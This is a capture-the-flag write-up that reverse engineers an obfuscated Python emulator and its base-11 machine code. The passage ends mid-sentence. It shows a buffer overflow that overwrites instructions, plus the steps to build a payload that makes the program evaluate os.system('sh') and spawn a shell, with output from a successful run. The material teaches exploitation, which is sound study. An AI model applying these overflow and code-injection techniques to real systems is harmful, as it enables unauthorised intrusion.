= 7VIII = 8IX = 9X = 10XI = 11V = 5X = 10LX = 60CXX = 120DCLXV = 665MCCCXXX = 1330MMMMMMMCCCXX = 7320MMMMMMMMMMMMMMDCXL = 14640Please enter your name> testnameHello, testnameDon't break anything, kthxbai```
From this we can speculate that the `__` function is likely only called at the start (so not in the `run` function), and its purpose is to set up global variables whose name is a roman numeral and whose value is the corresponding integer (In the case of `I` the value is not the integer `1` but instead `True`. This is probably intended to further confuse the person reverse engineering this; in the context `I` is actually used, `True` seems to act identically to `1` (which we can verify empirically).). So in `magic5.py` we remove the definition of `_` and `__` as well as the three lines calling `__`, and replace them by direct definitions of `I`, `II`, and so on. Trying `runme5.py`, we can see that there are no exceptions and behavior appears unchanged. We can next remove usage of these constants and replace them by their value, arriving at `magic6.py` and `runme6.py`, where we also changed some `False` to `0` and `True` to `1`, and cleaned up the code here and there. While doing so we might notice that `MCCCXXXI` appears somewhere even though that should not be defined. That line does not seem to be reached though.
# Analysis of the emulated machine
Quickly skimming the code left in `magic6.py` we can see that this again seems to emulate some machine that this time is using base 11 rather than 3 for its memory. In the loop running the program there is again a long case distinction for the different instructions, but beginning with```python if False: print(open('flag').read())```which seems to be intended as a hint that we will need to access a file `flag` on the remote instance of this challenge, and will not be able to expect to extract the flag from memory as was the case in "Snake Jazz". This will require deeper analysis of the actual program being run by the emulator than just figuring out how to print out the memory.
## Understanding how input and output happens
Apart from code that carries out arithmetic operations or shuffles data around, there are two places that seem interesting and might interact with input from the user, the `class A`, and the `elif c==10:` branch in `run`.`class A` is defined as follows.```pythonclass A(object): def __pos__(_): return sys.stdin.buffer.read(1)[0] def __add__(_,__): sys.stdout.buffer.write(bytes([__])) sys.stdout.buffer.flush() def __mul__(_,__): for __ in __.encode('latin1'): _+__````class A` provides reading from `stdin` and writing to `stdout`. If `a` in an object of type `A`, then `+a` will return one byte (as an integer) read from `stdin`, and if `text` is a string, then `a * text` will write the string `text`, encoded in `latin1`, to `stdout`.There is only one place where an object of type `A` occurs, namely as the local variable `_` in the method `run` of `class B`, defined right at the start. However there is no place this variable seems to be directly used (there are a couple of occurrences of `_`, where this though refers to a new local variable, as in `a=[(_%11**5)for(_)in(a)]`).
Let us now look at the other interesting part we identified, the `elif c==10:` branch in `run`. There we find the following.```python elif c==10: a[d]=eval((__.a//11**(a[e]*5)%11**(a[f]*5)).to_bytes(a[f]*3,'little').decode('latin1').strip('\0'))or(0)```So here some Python code is being evaluated. We can speculate that this will either read the input from the user directly, or use `class A`, perhaps through the local variable `_`. To find out what is going on with this `eval`, let us split up this long line a bit and print out what is being evaluated.So let us replace the above code with the following.```python elif c==10: string_to_evaluate = (__.a//11**(a[e]*5)%11**(a[f]*5)).to_bytes(a[f]*3,'little').decode('latin1').strip('\0') eval_result = eval(string_to_evaluate) print(f'\neval("{string_to_evaluate}") = {eval_result}') a[d] = eval_result or (0)```This is done in `magic7.py`. Executing `runme7.py` we obtain the following output:```Please enter your name> eval("_*'Please enter your name\n> '") = Nonetestname
eval("+_") = 116
eval("+_") = 101
eval("+_") = 115
eval("+_") = 116
eval("+_") = 110
eval("+_") = 97
eval("+_") = 109
eval("+_") = 101
eval("+_") = 10Hello, eval("_*'Hello, '") = Nonetestname
eval("_*'testname\n'") = NoneDon't break anything, kthxbai
eval("_*'Don\'t break anything, kthxbai\n'") = None
```So this confirms that evaluation of `+_` is used to obtain input from `stdin` byte by byte, stopping at the newline, and `_*` concatenated with a string literal is used to write strings to `stdout`.
We can try here if we can immediately use our input to execute Python code. If we input `testname' + print("It worked!") + '`, we might hope that the string `_*'testname' + print("It worked!") + ''` will be evaluated. However, we will get that what is actually evaluated is `_*'testname? + print("It worked!") + ?\n'`. So single quotes seem to be replaced by question marks before evaluation. Similarly backslashes seem to be removed. So exploiting the program is not as easy as this.
## Registers and memory
The `run` function begins as follows.```python def run(__): if not __.c:return _ = A() a = [0]*11 while 10: a=[(_%11**5)for(_)in(a)] b=__[a[0]] a[0] += 1 b,c=divmod(b,11) b,d=divmod(b,11) b,e=divmod(b,11) b,f=divmod(b,11) b,g=divmod(b,11) h=f+g*11 i=e+h*11 j=d+i*11```So `a` is a list of 11 `int`s, initially all zero. If we look at the `elif` branches within the loop we will be able to find a lot of uses of the components of `a`, both reading them as well as setting them to a different value. This is very suggestive that we should interpret the components of `a` as registers.
The very first line can then be interpreted as taking every register modulo `11**5`, so each register is likely supposed to hold a 5-digit nonnegative number to base 11, and this first line in the loop is handling any overflow or underflow that might have happened in the previous loop round. This already suggests that we are likely dealing with a machine that is using base 11, and where each memory unit is 5 digits wide.
The `elif` branches later depend on the value of `c`, which thus likely holds the type of instruction being executed. We see that `c` is defined as the remainder of `__[a[0]]` modulo 11. From this we can guess that `__[address]` is likely a memory access, and `a[0]` is the instruction pointer. Furthermore, as `a[0]` is incremented by 1 rather than 5 we can also guess that memory is likely addressed by 5-digit base-11 words, and not digit-wise, as was the case in "Snake Jazz", where program code and data used a different word width and thus memory was addressed by the digit.
If we look at the definition of `__getitem__` and `__setitem__`, which are reproduced below, we can see that the member variable `a` of the `class B` is an integer that stores the memory; that number is interpreted in base 11, the digits are grouped together in words of 5 digits each, and those words can be read and written individually. See the [writeup for "Snake Jazz"](todo link) for a more detailed discussion on this system of encoding memory. ```python def __getitem__(_,__): __%=11**5 __*=5 return _.a//11**__%11**5 def __setitem__(_,__,___): ____=_[__] __%=11**5 __*=5 _.a+=(___-____)*11**__```
As a next step we can now produce `magic8.py` and `runme8.py`, where we made the code more readable by replacing various variable names. Note that we can *not* rename the local variable `_` defined at the start of `run`, because that is used in the evaluation, as we saw earlier.
One additional change from `magic7.py` to `magic8.py` should be noted.If we go back to the `elif c==10` branch in `run`, we (after renaming the variables) have the line```python string_to_evaluate = (self.a//11**(REG[e]*5)%11**(REG[f]*5)).to_bytes(REG[f]*3,'little').decode('latin1').strip('\0')```which we can now rewrite as follows.```python memory_from_reg_e_of_len_reg_f = ( self.a // (11**(REG[e]*5)) ) % (11**(REG[f]*5)) string_to_evaluate = memory_from_reg_e_of_len_reg_f.to_bytes( REG[f]*3,'little').decode('latin1').strip('\0')```The first line is the part in the first brackets; this extracts `REG[f]` many words of memory starting with the word indexed by `REG[e]`, as an integer (in little endian).The second line then converts this integer into `REG[f]*3` many bytes, also in little endian. Note that`log_2(11**5) ≈ 17.3`, so each word of 5 base 11 digits requires 18 bits to represent, and as `2*8=16 < 18 <= 24=3*8` this explains why `REG[f]*3` is used here as the number of bytes.Finally, the result is decoded as `latin1` and zero bytes are stripped from start and end.
We also modified the `print` telling us about the string being evaluated to also inform us about the memory address of the buffer that was used, together with its length.
## A first disassembler
To understand what the emulated program does we will need to understand the individual instructions first.As an example, let us look at the first two instruction types.```python elif c==5: REG[REGNUM_RIP] += j-7320 elif c==2: REG[d] = self[REG[e]+f-5] REG[e] += g-5```The first one is clearly a jump instruction. As `j` is a constant extracted from the instruction, this is a jump to a fixed target. If we want to disassemble such an instruction we might represent it by `JMP n` where `n` will be the content of the instruction pointer `RIP` after the line has been executed.The second instruction type loads a register from memory, with the address determined by another register, and then that register is changed by a constant. What this instruction does in general is a bit less clear, but it would make sense as a `POP` instruction, popping a value off the stack, with `REG[e]` being the stack pointer. To really understand this instruction we might have to see how it is used in the program and what values `e` and `f` and `g` tend to have.
In `magic9.py`, various changes have been made to improve our ability to analyze the program code that is being emulated. First, the output from the program itself as well as having to input a name is inconvenient. We thus modify `class A` as well as `run` so that the input is given as an argument to `run`, and output is printed to `stderr`. (This last change is just because this makes it very easy to redirect our debug output to a file while still seeing whether the output looks ok so that our changes did not break the program. It would perhaps be more usual to assign `stdout` and `stderr` the other way around, but like this just happens to be the quickest (least amount of typing) in this case, with in the end equivalent effect.) Then we add functions `disassemble_instruction` and `print_disassembly`, the first of which takes an address as an argument and returns a string that is supposed to explain what the instruction at that address does, the second prints out a disassembly of all of memory, or a subset of the words, passed by argument. To know which addresses actually hold instructions, we modify `run` to save the instructions that have been visited. This already prevents us from wasting time trying to make sense of memory interpreted as instructions that actually hold data or junk. But we might also waste time if parts of the program get decrypted in execution. Thus we modify the memory write function `__setitem__` to warn if a memory address that contains program code is being changed. If we can run the program twice (once to populate the set addresses the instruction pointer visited, and then a second time to obtain the warning messages) without getting such a warning, then we know that no decryption of code that is reached if we enter `testname` as our name in the prompt. It is still possible that instructions that are not actually reached with such an input get decrypted or reached with a different input, but if that were the case we could figure out what we need to know later after we realized how to enter such a different codepath.
Running `runme9-check-no-decryption.py` runs `run` twice as just suggested, and we can see that we can *not* see any warnings regarding program instruction addresses being written to, so the code is not encrypted.
Executing `runme9-disassemble-with-holes.py` instead outputs a disassembly on `stdout`, showing the instructions that are reached in the usual `run`. Skimming over it we see that there are some parts looking like the following lines.```0015: IF REG1 != REG7 THEN JMPNEXT
...jumped over 1 words...
0017: REG7 = 92```So there is a instruction that conditionally jumps over the next instruction, and there is a hole of only this one instruction not being reached. It might be nicer to also show a disassembly for those. Thus in `runme9.py` we remove gaps of length only 1. The output on `stdout` is provided as `disassembly9`.
## Improving the disassembler
In `disassembly9` we can see various sequences of instructions, separated by gaps of different length. The two shortest consecutive sequences of instructions begin at address `117` and `145`. Let us consider the first of the two.```0117: MEM[REG10 + -1] = REG9 ; REG10 += -10118: REG2 = REG10119: REG1 = 1250120: REG9 = RIP ; JMP 1450121: REG7 = 1250122: REG1 = EVALUATEPY MEM[REG7:REG7+REG1]0123: REG9 = MEM[REG10 + 0] ; REG10 += 10124: JMP REG9```The value of `REG9` seems to be saved in memory at the start, and recovered at the second to last line, followed by a jump to this recovered value of `REG9`. Furthermore the one other jump occurring in this short piece of code sets `REG9` to the value of `RIP` at that point (note that this is the address of the *next* instruction to be executed, so when the assignment of instruction `120` is carried out, the value of `RIP` is already `121`). This suggests that part of the function call convention being used is that `REG9` holds the return address. Additionally, the way `REG9` is saved and recovered from memory looks like `REG10` might be a stack pointer, with the stack growing downwards, and the instructions at `117` and `123` being a `PUSH` and `POP` instruction, respectively. Other places in the disassembly, for example the function that seems to span from `145` to `210`, also seem to fit with these interpretations.
Considering further the snippet from `117` above, note that `REG1` being copied to `REG2` implies that `REG1` most likely has some significance here, for example by virtue of being an argument passed to this function. Before calling the function at `145`, the register `REG1` is set to a constant value. We can guess that arguments are most likely passed via register, in the order `REG1`, `REG2`, and we can guess that this continues with `REG3`, etc., though we do not see this here yet. Then the function at `117` likely takes one argument, and the one at `145` takes two. Skimming over other parts of the disassembly they again seem to fit with this interpretation.
So let us make the disassembly more readable by incorporating some of what we have learned and abbreviating e.g. the instruction at `117` with `PUSH REG9` and the instruction at `123` with `POP REG9`. It also seems reasonable to give `REG9` and `REG10` the names `RETADDR` and `RSP`. Furthermore, we can abbreviate the combination of `REG9 = RIP` with a jump by `CALL` and `JMP RET9` by `RET`.
Additionally, it would be useful to identify function starts and ends. We can identify returns from functions by `JMP REG9`, but it may not always be clear where a functions starts. To help we will add a ">" in the output between address and disassembly if this is an address that was jumped to during execution. We add `>>` if that address was jumped to with a `CALL` instruction.
The mentioned changes have been implemented in `magic10.py` and `runme10.py`, and the output can be found in `disassembly10`.
# Analysis of the program
Let us now begin actually looking at disassembled functions, trying to understand what they do.
## Understanding some short and easy functions
Starting from the bottom we have the following short function.```0399: >> REG7 = 4030400: REG8 = 10401: REG1 = EVALUATEPY MEM[REG7:REG7+REG8]0402: RET```It evaluates the string encoded by memory at address `403`. From the output of `runme8.py` we know that this string is (unless it gets changed during execution) "+_", so this function could be given the name `read_char()`, where we use the brackets to indicate that this function does not take arguments.
We then have the following slightly longer function.```0390: >> IF REG3 != 0 THEN JMPNEXT0391: JMP 3980392: > REG7 = MEM[REG2 + 0]0393: MEM[REG1 + 0] = REG70394: REG1 += 10395: REG2 += 10396: REG3 += -10397: JMP 3900398: > RET```In pseudocode this function is```Cwhile(REG3 != 0){ MEM[REG1] = MEM[REG2] REG1 += 1 REG2 += 1 REG3 -= 1}```Hence this function copies `REG3` words of memory from the buffer pointed to by `REG2` to the one pointed to by `REG1`. We can call this function `memcpy(dest, src, length)`.
Finally, the third short function at the bottom is the following:```0381: >> REG8 = 00382: > REG7 = MEM[REG1 + 0]0383: IF REG7 != 0 THEN JMPNEXT0384: JMP 3880385: > REG8 += 10386: REG1 += 10387: JMP 3820388: > REG1 = REG80389: RET```This returns the number of words before the zero word occuring at the memory pointed to by `REG1`, and we can call this function `len_until_zero(pointer)`.
The last low hanging fruit function is the one at `215`, reproduced below.```0215: >> REG4 = 00216: > IF REG3 != 0 THEN JMPNEXT0217: JMP 2280218: > REG7 = MEM[REG1 + 0]0219: REG7 = REG7 * REG20220: REG7 = REG7 + REG40221: REG8 = 2560222: REG4 = REG7 // REG80223: REG7 = REG7 % REG80224: MEM[REG1 + 0] = REG70225: REG1 += 10226: REG3 += -10227: JMP 2160228: > RET```This is a loop, changing the contents of a buffer pointed to by `REG1` of length `REG3`. The instructions from `219` to `223` can be summarized as follows.```multiply_add = ((MEM[REG1] * REG2) + REG4)REG4 = multiply_add // 256REG7 = multiply_add % 256```We can thus interpret this function as follows: The buffer is interpreted as a little endian number `x`, in base `256`. The function takes two arguments `a` and `b` as `REG2` and `REG4`, and calculates `x*a + b`. The result is written back into the buffer, in base `256`, also little endian. Note that the words are not checked to contain an integer between `0` and `255`, so it is possible to use this function to convert a single nonnegative integer up to `11**5 - 1` into base `256`, as long as the buffer is large enough to hold the result. Let us call this function `multiply_add_base_256(pointer, factor, length, summand)`.
## Adding function names to the disassembler
To avoid having to look up or remember the addresses of functions we already identified, we have in `magic11.py` and `runme11.py` added support for printing out function names in the disassembly, including for `CALL` instructions. The new output is provided as `disassembly11`.
## The entry function
Let us now try to understand what the program does from the top level. Initially `RIP=0`, so program entry is at the start, where we find the following:```0000: RSP = 5500001: REG1 = 370002: CALL 1170003: > REG5 = 4040004: REG7 = 950005: REG8 = 420006: REG4 = 390007: MEM[REG5 + 0] = REG7 ; REG5 += 10008: MEM[REG5 + 0] = REG8 ; REG5 += 10009: MEM[REG5 + 0] = REG4 ; REG5 += 10010: > CALL read_char()0011: > REG7 = 100012: IF REG1 != REG7 THEN JMPNEXT0013: JMP 220014: > REG7 = 390015: IF REG1 != REG7 THEN JMPNEXT0016: REG1 = 630017: > REG7 = 920018: IF REG1 != REG7 THEN JMPNEXT0019: REG1 = 630020: > MEM[REG5 + 0] = REG1 ; REG5 += 10021: JMP 100022: > REG7 = 920023: REG8 = 1100024: REG4 = 390025: REG3 = 00026: MEM[REG5 + 0] = REG7 ; REG5 += 10027: MEM[REG5 + 0] = REG8 ; REG5 += 10028: MEM[REG5 + 0] = REG4 ; REG5 += 10029: MEM[REG5 + 0] = REG3 ; REG5 += 10030: REG1 = 680031: CALL 1170032: > REG1 = 4040033: CALL 1170034: > REG1 = 800035: CALL 1170036: > HALT```We can immediately see that there are five calls to other functions, one being `read_char()`, and the other four the function at `117`. We can guess that the function at `117` is likely a print function, as we with e.g. `runme8.py` can see that there are exactly four prints happening in the program, and there is exactly one before input is taken from `stdin`, which fits with the order we see the calls here as well. From the calls here we can guess that the function at `117` likely takes one argument, the address of the string to be printed out, though we do not yet know in what format that data is.
In `magic12.py` and `runme12.py` we have provisionally added a name for the function at `117`, and also added showing the characters corresponding to numeric values, to understand e.g. the checks done with the return value of `read_char()` better (without having to consult an ASCII table).
The output for the function at the start now looks like the following.```0000: RSP = 5500001: REG1 = 37 = b'%'0002: CALL print_unknown_format(pointer)0003: > REG5 = 4040004: REG7 = 95 = b'_'0005: REG8 = 42 = b'*'0006: REG4 = 39 = b"'"0007: MEM[REG5 + 0] = REG7 ; REG5 += 10008: MEM[REG5 + 0] = REG8 ; REG5 += 10009: MEM[REG5 + 0] = REG4 ; REG5 += 10010: > CALL read_char()0011: > REG7 = 10 = b'\n'0012: IF REG1 != REG7 THEN JMPNEXT0013: JMP 220014: > REG7 = 39 = b"'"0015: IF REG1 != REG7 THEN JMPNEXT0016: REG1 = 63 = b'?'0017: > REG7 = 92 = b'\\'0018: IF REG1 != REG7 THEN JMPNEXT0019: REG1 = 63 = b'?'0020: > MEM[REG5 + 0] = REG1 ; REG5 += 10021: JMP 100022: > REG7 = 92 = b'\\'0023: REG8 = 110 = b'n'0024: REG4 = 39 = b"'"0025: REG3 = 0 = b'\x00'0026: MEM[REG5 + 0] = REG7 ; REG5 += 10027: MEM[REG5 + 0] = REG8 ; REG5 += 10028: MEM[REG5 + 0] = REG4 ; REG5 += 10029: MEM[REG5 + 0] = REG3 ; REG5 += 10030: REG1 = 68 = b'D'0031: CALL print_unknown_format(pointer)0032: > REG1 = 4040033: CALL print_unknown_format(pointer)0034: > REG1 = 80 = b'P'0035: CALL print_unknown_format(pointer)0036: > HALT ```So it seems this function begins by printing the "Please enter your name" message first. Then our input is written to a buffer beginning at address `404`, after first writing `_*'` into it. If the character read from `stdin` is a single quote or backslash it is replaced by `?`, as we observed earlier. After the character read from `stdin` is a newline, reading stops and a backslash, `n`, and single quote are appended, as well as a zero word. Finally, the "Hello, " string, the string just composed from our input, and finally the warning string are printed.
By seeing how the users name is read and the function that was provisionally called `print_unknown_format` called we can also deduce that this function likely actually executes python code that is stored at the pointer in base `256`, and terminated by zero. So we rename this function `eval_python_base_256(pointer)`.
Note that the stack begins at `550` and grows downwards, and the buffer holding our input begins at `404` and grows upwards, which suggests there might be a possibility of having them overlap if our input was long enough. We currently don't have enough information to exploit this, but will come back to this in a bit.
## The function `eval_python_base_256(pointer)`
The function is given by the following:```0117: >> PUSH RETADDR0118: REG2 = REG10119: REG1 = 125 = b'}'0120: CALL 1450121: > REG7 = 125 = b'}'0122: REG1 = EVALUATEPY MEM[REG7:REG7+REG1]0123: POP RETADDR0124: RET```As the `EVALUATEPY` instruction expects the string to be stored in base `11**5`, we can guess that the function at `145` likely takes two arguments, a destination and source address, and copies the null-terminated base `256` data in the source to the destination, now in base `11**5`.
In `magic13.py` and `runme13.py` we have thus given the function at `145` the name `memcpy_from_base256_to_base_161051(dest, src)`. Furthermore we have modified the detection of addresses being jumped to so as to not count return jumps, so that we can see where loop boundaries in that function are, which will be relevant in a bit. The output can be found in `disassembly13`. As the function `memcpy_from_base256_to_base_161051(dest, src)` is a bit long it would be good to confirm what it does by observing the behavior. Hence `magic13.py` also contains functions to convert bytes to base `11**5` data, and a modification to `run` to be able to set initial registers. With this `runme13-test-145.py` verifies that the function indeed exhibits the expected behavior.
# The first vulnerability: Buffer overflow to overwrite instructions
So we are able to pass the program some input, terminated by a newline (so can not contain a newline). If it does not contain single quotes or backslashes, it is used as is, pre-concatenated with `b"_*'"` and post-concatenated with `b"\\n\x00"` (this happens in `10` to `21`). This string is stored at address `404`. Then, in `32` and `33`, the function `eval_python_base_256` is called on this buffer at `404`. In this function in turn, we call `memcpy_from_base256_to_base_161051(dest, src)` with `dest=125` and `src=404`. Note that `125` is not a very high number, there are instructions that get executed after that! In particular, the function `memcpy_from_base256_to_base_161051` starts at `145`. If our input is long enough, we will thus be able to overwrite the start of `memcpy_from_base256_to_base_161051` with new instructions. Note that after echoing the name the user is supposed to have inputted, a warning is printed out, so that execution jumps to `145` a second time.
As the code after `145` is the one that carries out the copying to `125`, we have to be careful not to have an input that is too long, otherwise we might destroy the copying code while the copy is ongoing and then the program might crash in this function rather than cleanly returning so that on the next invocation of `memcpy_from_base256_to_base_161051` our code can be executed. Let us look at the start of `memcpy_from_base256_to_base_161051`.``` function memcpy_from_base256_to_base_161051(dest, src)0145: >> PUSH RETADDR0146: PUSH REG50147: PUSH REG60148: REG5 = REG10149: REG6 = REG20150: REG1 = REG20151: CALL len_until_zero(pointer)0152: REG7 = REG10153: REG7 += 10154: RSP = RSP - REG70155: PUSH REG10156: PUSH REG70157: REG3 = REG70158: REG2 = REG60159: REG1 = RSP0160: REG1 += 20161: CALL memcpy(dest, src, length)0162: REG2 = RSP0163: REG2 += 10164: REG1 = REG50165: RSP += -20166: REG5 = 0 = b'\x00'0167: > REG7 = MEM[REG2 + 0]```We can see that up to `166` there is no loop, and nothing is copied to the destination yet: The length of the source is obtained, space on the stack allocated, and then the source buffer is copied to the stack. Thus it should be fine to use an input that will cause overwriting up to and including address `166`. The idea would be that a couple of instructions starting at `145` will cause evaluation of Python code that is stored at a known address below `145`, in which we will have placed our Python payload, such as `os.system("sh")`.
Let us collect the list of requirements we have for our payload. We will call what we send `payload` and `b"_*'" + payload + b"\\n'"` the `full_payload`.
- `payload` can not contain newlines, backslashes, single quotes, or zero bytes - The conversion of `full_payload` to base `11**5` should be at most `167 - 125 = 42` words long. - `full_payload` converted to base `11**5` should have some successive words in the middle that converted back to base `256` correspond to the Python code we want to execute. - `full_payload` converted to base `11**5` should have instructions starting from word `145 - 125 = 20` that cause the just mentioned Python code to execute. - `full_payload` must be decodable to a string using `latin1`.
## Instructions to execute Python code
Here are some instructions that work.```0145: REG1 += 120146: REG2 = 8 = b'\x08'0147: REG1 = EVALUATEPY MEM[REG1:REG1+REG2]0148: HALT```When the function gets called from the function `eval_python_base_256(pointer)`, the value of `REG1` will be `125`. Adding `12` gives us `137`. We will then make the base `11**5` data that is to be evaluated as Python 8 words long, ending just before these instructions.Something like `b'os.system("sh")'` takes 15 bytes, and as we saw earlier each word of base `11**5` corresponds to roughly `17.3/8 ≈ 2.2` bytes, let us take `2.1` to be safe, and then 8 words are enough for `8 * 2.1 > 16` bytes, so this is enough.We end with a `HALT` instruction to ensure a clean exit after we exit the shell.
To get the numeric values corresponding to these instructions we will have to look at the code, identify what value variables such as `c`, `f`, `g`, and `h` etc. need to have, and then figure out what the instructions needs to be in base 11.
We obtain that we want the following:```payload_emulator_instructions = [81935, 994, 2804, 0]```
## How to cook up the payload satisfying all requirements
We have constraints on the payload that both impact its base `256` and base `11**5` represenation. Unfortunately, changing one digit in either base can completely change a lot of digits in the other base. However, note that usually this only happens to sufficiently low significance digits in the other basis. *Usually* because we might have a number that for example in base 11 has the least significant couple of digits all `0`, but not in binary. Then if we change one very low significant binary bit from `1` to `0`, this will make flip some low significance base 11 digits from `0` to `A`. Because of this it is actually best to initialize digits where we have a choice in this kind of situation to something random or of medium value, rather than for example all `0`.
Thus the way we should proceed is from the most significant end downwards, alternating which basis we adjust.So the idea is as follows:
1. Begin with something random that, in base `256`, ends with `b"\\n'"`, and that does not otherwise contain the characters newline, backslash, single quote, or the zero byte.2. Change some base 11 digits towards the higher significance end to contain our encoded Python code as well as the instructions we just discussed. Hope that this does not destroy what the last three bytes are in base `256` (if we were unlucky, try again from step 1).3. When interpreting the new number in base `256` again, some bytes that are not the last three may have become illegal ones (newline, backslash, single quote, zero byte). Adjust those by adding one.4. Adjust the first three bytes to be `b"_*'"`.5. Convert the end result into bytes and cut off the first and last three bytes. The part in the middle is our payload.6. Check a final time that this payload satisfies all requirements, including the decoding step regarding `latin1` and that the decoded string can actually be evaluated by Python. If not, start again from step 1. In practice, it does not take many tries until one finds a valid payload like this.
Creating a payload like this has been implemented in `runme14.py`. It will go through the steps above, and at the end verify that all properties are satisfied. If this is not the case there will be an `AssertionError` or `SyntaxError` and `runme14.py` needs to be run again. If everything verified as it should, then the emulator is run with this input as a final test. This should start a shell.
The output of `runme14.py` on a successful run is reproduced below.```user@ctf-fe-2022$ ./runme14.pyThe instructions in the payload are the following when loaded at 700:0700: REG1 += 120701: REG2 = 8 = b'\x08'0702: REG1 = EVALUATEPY MEM[REG1:REG1+REG2]0703: HALT
Step 1: Base 11**5: [111242, 150449, 72842, 118980, 111491, 20754, 102804, 97339, 3220, 105622, 80760, 47851, 104857, 74258, 33121, 17215, 14, 98515, 124690, 74691, 121462, 72899, 136909, 121091, 37828, 89340, 109283, 70696, 144197, 52632]Step 1: Base 2**8: [36, 77, 105, 55, 120, 105, 69, 105, 102, 77, 39, 55, 59, 104, 57, 87, 50, 60, 59, 91, 51, 120, 80, 107, 41, 69, 75, 98, 94, 60, 96, 34, 58, 101, 107, 108, 35, 106, 67, 57, 96, 80, 107, 75, 46, 47, 102, 119, 81, 102, 118, 43, 43, 41, 89, 93, 106, 52, 121, 34, 96, 49, 92, 110, 39]Step 1: b'$Mi7xiEifM\'7;h9W2<;[3xPk)EKb^<`":ekl#jC9`PkK./fwQfv++)Y]j4y"`1\\n\''
Step 2: Base 11**5: [111242, 150449, 72842, 118980, 111491, 20754, 102804, 97339, 3220, 105622, 80760, 47851, 144332, 98232, 150289, 141022, 126407, 12595, 12240, 0, 81935, 994, 2804, 0, 37828, 89340, 109283, 70696, 144197, 52632]Step 2: Base 2**8: [40, 195, 32, 27, 73, 49, 21, 46, 75, 70, 206, 248, 94, 69, 4, 144, 31, 236, 215, 125, 229, 49, 174, 56, 208, 217, 30, 73, 144, 220, 159, 54, 17, 28, 192, 3, 206, 56, 139, 184, 225, 248, 52, 105, 200, 75, 116, 164, 218, 228, 3, 194, 42, 41, 89, 93, 106, 52, 121, 34, 96, 49, 92, 110, 39]Step 2: b'(\xc3 \x1bI1\x15.KF\xce\xf8^E\x04\x90\x1f\xec\xd7}\xe51\xae8\xd0\xd9\x1eI\x90\xdc\x9f6\x11\x1c\xc0\x03\xce8\x8b\xb8\xe1\xf84i\xc8Kt\xa4\xda\xe4\x03\xc2*)Y]j4y"`1\\n\''
Step 3: Base 11**5: [111242, 150449, 72842, 118980, 111491, 20754, 102804, 97339, 3220, 105622, 80760, 47851, 144332, 98232, 150289, 141022, 126407, 12595, 12240, 0, 81935, 994, 2804, 0, 37828, 89340, 109283, 70696, 144197, 52632]Step 3: Base 2**8: [40, 195, 32, 27, 73, 49, 21, 46, 75, 70, 206, 248, 94, 69, 4, 144, 31, 236, 215, 125, 229, 49, 174, 56, 208, 217, 30, 73, 144, 220, 159, 54, 17, 28, 192, 3, 206, 56, 139, 184, 225, 248, 52, 105, 200, 75, 116, 164, 218, 228, 3, 194, 42, 41, 89, 93, 106, 52, 121, 34, 96, 49, 92, 110, 39]Step 3: b'(\xc3 \x1bI1\x15.KF\xce\xf8^E\x04\x90\x1f\xec\xd7}\xe51\xae8\xd0\xd9\x1eI\x90\xdc\x9f6\x11\x1c\xc0\x03\xce8\x8b\xb8\xe1\xf84i\xc8Kt\xa4\xda\xe4\x03\xc2*)Y]j4y"`1\\n\''
Step 4: Base 11**5: [47728, 150452, 72842, 118980, 111491, 20754, 102804, 97339, 3220, 105622, 80760, 47851, 144332, 98232, 150289, 141022, 126407, 12595, 12240, 0, 81935, 994, 2804, 0, 37828, 89340, 109283, 70696, 144197, 52632]Step 4: Base 2**8: [95, 42, 39, 27, 73, 49, 21, 46, 75, 70, 206, 248, 94, 69, 4, 144, 31, 236, 215, 125, 229, 49, 174, 56, 208, 217, 30, 73, 144, 220, 159, 54, 17, 28, 192, 3, 206, 56, 139, 184, 225, 248, 52, 105, 200, 75, 116, 164, 218, 228, 3, 194, 42, 41, 89, 93, 106, 52, 121, 34, 96, 49, 92, 110, 39]Step 4: b'_*\'\x1bI1\x15.KF\xce\xf8^E\x04\x90\x1f\xec\xd7}\xe51\xae8\xd0\xd9\x1eI\x90\xdc\x9f6\x11\x1c\xc0\x03\xce8\x8b\xb8\xe1\xf84i\xc8Kt\xa4\xda\xe4\x03\xc2*)Y]j4y"`1\\n\''
Verifying that start and end are correct in base 2...Prefix is b"_*'", expected is b"_*'"Suffix is b"\\n'", expected is b"\\n'"Verifying there are no illegal charactersVerifying that the full payload can be decoded...Verifying that evaluating this does not cause problems...Verifying the length is at most 42 words...Verifying the words in the middle are as expected...
Payload: b'\x1bI1\x15.KF\xce\xf8^E\x04\x90\x1f\xec\xd7}\xe51\xae8\xd0\xd9\x1eI\x90\xdc\x9f6\x11\x1c\xc0\x03\xce8\x8b\xb8\xe1\xf84i\xc8Kt\xa4\xda\xe4\x03\xc2*)Y]j4y"`1\n'Running the emulator with the payload as input...
Please enter your name> Hello, 1.KF��^E���}�1�8��I�ܟ6��8����4i�Kt����*)Y]j4y"`1$ pwd/home/user/writeup/snake-oil$ exit
user@ctf-fe-2022$```
To get a shell on the remote we now only have to send one of the valid payloads that `runme14.py` produces. This is done in `solve.py`.
# The second vulnerability: Using a buffer overlap to obtain a single quote
Let us again look at the start of `memcpy_from_base256_to_base_161051`.``` function memcpy_from_base256_to_base_161051(dest, src)0145: >> PUSH RETADDR0146: PUSH REG50147: PUSH REG60148: REG5 = REG10149: REG6 = REG20150: REG1 = REG20151: CALL len_until_zero(pointer)0152: REG7 = REG10153: REG7 += 10154: RSP = RSP - REG70155: PUSH REG10156: PUSH REG70157: REG3 = REG70158: REG2 = REG60159: REG1 = RSP0160: REG1 += 20161: CALL memcpy(dest, src, length)0162: REG2 = RSP0163: REG2 += 10164: REG1 = REG50165: RSP += -20166: REG5 = 0 = b'\x00'0167: > REG7 = MEM[REG2 + 0]```As we mentioned already above, after the length of the source is obtained, space on the stack allocated, and then the source buffer is copied to the stack. Let us consider the specific call to this function regarding our own input. The relevant calls arise as follows:```0032: REG1 = 4040033: CALL eval_python_base_256(pointer)... function eval_python_base_256(pointer)0117: >> PUSH RETADDR0118: REG2 = REG10119: REG1 = 125 = b'}'0120: CALL memcpy_from_base256_to_base_161051(dest, src)... function memcpy_from_base256_to_base_161051(dest, src)0145: >> PUSH RETADDR0146: PUSH REG50147: PUSH REG60148: REG5 = REG10149: REG6 = REG20150: REG1 = REG20151: CALL len_until_zero(pointer)0152: REG7 = REG10153: REG7 += 10154: RSP = RSP - REG70155: PUSH REG10156: PUSH REG7 0157: REG3 = REG70158: REG2 = REG60159: REG1 = RSP 0160: REG1 += 20161: CALL memcpy(dest, src, length)```Our input, with prefix and suffix, is stored starting from address `404`, and stored in upwards direction. The stack pointer is set to `550` at the start and grows downwards. Note that the stack pointer addresses the word that will be popped at the next `POP`, so a `PUSH` will not write into this address, but the one below. The main function does not push anything to the stack. Then 